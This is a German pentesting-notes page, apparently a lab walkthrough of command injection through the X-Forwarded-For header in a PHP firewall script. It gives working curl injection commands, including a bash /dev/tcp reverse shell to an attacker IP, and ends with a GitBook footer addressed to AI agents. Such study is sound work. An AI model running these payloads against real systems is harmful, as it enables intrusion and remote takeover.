> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/http-header-command-injection/http-header-command-injection-x-forwarded-for-pentesting-web.md).
# X-Forwarded-For Command Injection
Wenn wir die Datei betrachten `firewall.php`, stellen wir fest, dass es den Header abruft `HTTP_X_FORWARDED_FOR` und es mit `sudo` verwendet, um einen Befehl auszuführen:
```php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
} else {
$ip = $_SERVER['REMOTE_ADDR'];
};
system("sudo /usr/sbin/iptable -A INPUT -s " . $ip . " -j ACCEPT");
?>
```
Da diese Variable über eine HTTP-Anfrage kontrollierbar ist, können wir einen beliebigen Befehl einschleusen. **Ausnutzung** Da dies ein HTTP-Header ist, können wir einen Befehl einschleusen, zum Beispiel mit `curl` um unseren Webserver zu kontaktieren. **Webserver-Einrichtung:**
```bash
python3 -m http.server 80
```
**Befehlsinjektion mit `curl`:**
{% code overflow="wrap" %}
```bash
curl -X GET -H 'X-FORWARDED-FOR: ;curl http://10.10.14.47/test;' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```
{% endcode %}
**Reverse Shell** **Lauschend auf Port 443:**
```bash
nc -nlvp 443
```
**Befehl, um eine entfernte Shell zu erhalten:**
{% code overflow="wrap" %}
```bash
curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >&/dev/tcp/10.10.14.47/443 0>&1";' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```
{% endcode %}
Sobald wir verbunden sind, sind wir der Benutzer `www-data`.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/http-header-command-injection/http-header-command-injection-x-forwarded-for-pentesting-web.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.